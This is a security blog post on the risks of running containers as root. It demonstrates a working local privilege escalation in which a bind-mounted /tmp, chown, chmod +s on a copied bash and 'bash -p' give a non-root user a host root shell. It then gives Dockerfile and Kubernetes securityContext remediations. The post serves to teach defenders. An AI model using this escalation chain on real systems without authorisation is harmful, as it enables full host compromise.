Home The False Sense of Security: Running Containers as root
Post
Cancel

The False Sense of Security: Running Containers as root


Containers have revolutionized modern software development, enabling us to develop, build, package, and deploy software applications faster and more efficiently than ever before. The benefits of containerization are many, from easier deployment and scaling to improved resource utilization and portability. However, despite the advantages that containers offer, they are not immune to security risks.

In this post, let’s discuss the risks of running containers as root and understand how root inside the container and on the host essentially mean one and the same thing.

Insecure By Default

In her book Container Security, Liz Rice described containers running as root as “the most insecure-by-default behavior in the container world”, and despite this behavior being insecure, at the time of this writing, most if not all containers still run as root by default.

For instance, if we spin up an Ubuntu container using Docker and check the user ID, we can see that it’s running as root:

1
2
3
$ docker run -it ubuntu /bin/bash
root@3de6e3805519:/# id
uid=0(root) gid=0(root) groups=0(root)

One might mistakenly assume like I myself had once believed, that root inside a container is completely isolated from the root on the host. However, that is not the case.

To confirm that root in the Ubuntu container is the same as the root on the host, let’s run the sleep command inside the container:

1
root@3de6e3805519:/# sleep infinity

Now, let’s open another terminal on the same host, and use the ps command to see that this process is running under root’s user ID:

1
2
3
$ ps -fC sleep
UID          PID    PPID  C STIME TTY          TIME CMD
root        4434    4152  0 19:38 pts/0    00:00:00 sleep infinity

From the perspective of the host, the sleep process is owned by the root user, as seen above. This indicates that root inside the container is essentially the same as root on the host.

This leads us to the question: how can attackers take advantage of this?

Leveraging Containers for Privilege Escalation

Assuming we already have initial access to the machine as a normal non-root user on the host, let’s demonstrate how an attacker can use containers to escalate their privileges.

To begin, we’ll run an Ubuntu container using Docker and bind-mount the host’s /tmp volume inside the container:

1
2
$ docker run -v /tmp:/tmp -it ubuntu /bin/bash
root@2ea086531742:/#

With the container up and running, let’s open another terminal on the host as non-root user and copy the user’s /bin/bash file to the /tmp directory:

1
$ cp /bin/bash /tmp

Next, in the Ubuntu container, let’s see who owns the /tmp/bash file:

1
2
root@2ea086531742:/# ls -l /tmp/bash 
-rwxr-xr-x 1 1000 1001 1234376 Mar 25 17:21 /tmp/bash

As we can see, the file is currently owned by the non-root user with UID 1000.

Now, we’ll use the chown command inside the container to change the ownership of the file to the root user:

1
2
3
root@2ea086531742:/# chown root:root /tmp/bash
root@2ea086531742:/# ls -l /tmp/bash
-rwxr-xr-x 1 root root 1234376 Mar 25 17:21 /tmp/bash

The file is now owned by root, so we’ll use chmod to set the setuid bit on the file:

1
2
3
root@2ea086531742:/# chmod +s /tmp/bash
root@2ea086531742:/# ls -l /tmp/bash
-rwsr-sr-x 1 root root 1234376 Mar 25 17:21 /tmp/bash

Now that the setuid bit is set, we can go back to the terminal of the non-root user and execute the /tmp/bash file with the -p option to launch bash in privileged mode and maintain the privileges owned by the file’s owner:

1
2
3
$ /tmp/bash -p
bash-5.1# whoami
root

So now, even though we ran the /tmp/bash file as a regular non-root user, we have become root on the host.

If you want to see this in action, I suggest giving HackTheBox’s now-retired GoodGames machine a try. A good friend of mine, ARZ101, has a nice writeup on the machine.

With that said, there are numerous other techniques that attackers can use to escalate their privileges, such as this in the blog post from Ferry Boender, or the one by Marc Campbell. But, fortunately for us, it’s possible to run containers as non-root users.

Remediation

By running containers as non-root users, we can significantly reduce the attack surface and ultimately minimize the risk of a successful container escape as well as the damage that an attacker can do.

There are several ways to achieve running containers as non-root, but to keep this post short, I’ll list down only two of them:

Docker

If you’re using Docker as your container runtime, the fix is as simple as adding the following two commands to your Dockerfile:

1
2
3
RUN groupadd --gid 65532 nonroot \
    && useradd --uid 65532 --gid 65532 -m nonroot
USER nonroot

Kubernetes

Alternatively, if you’re working with Kubernetes, you can leverage the securityContext setting or PodSecurityPolicy. However, since the latter is deprecated, here’s an example of how you can use the former to prevent privilege escalation:

1
2
3
4
5
6
securityContext:
  allowPrivilegeEscalation: false
  capabilities:
    drop:
      - ALL
  runAsNonRoot: true

Conclusion

To sum up, we’ve learned that root inside a container is equivalent to root on the host, which isn’t problematic in itself, but pair this with a container escape vulnerability, and you risk handing over complete compromise of the host to an attacker.

To prevent this, it’s crucial to follow the principle of least privilege and adopt security best practices. Without these measures, we’d just be a single misconfiguration away from allowing an attacker to gain full control.


Stay tuned for my next article, where I’ll explain the ins and outs of rootless containers! In the meanwhile, feel free to connect with me on LinkedIn or on Twitter.

This post is licensed under CC BY 4.0 by the author.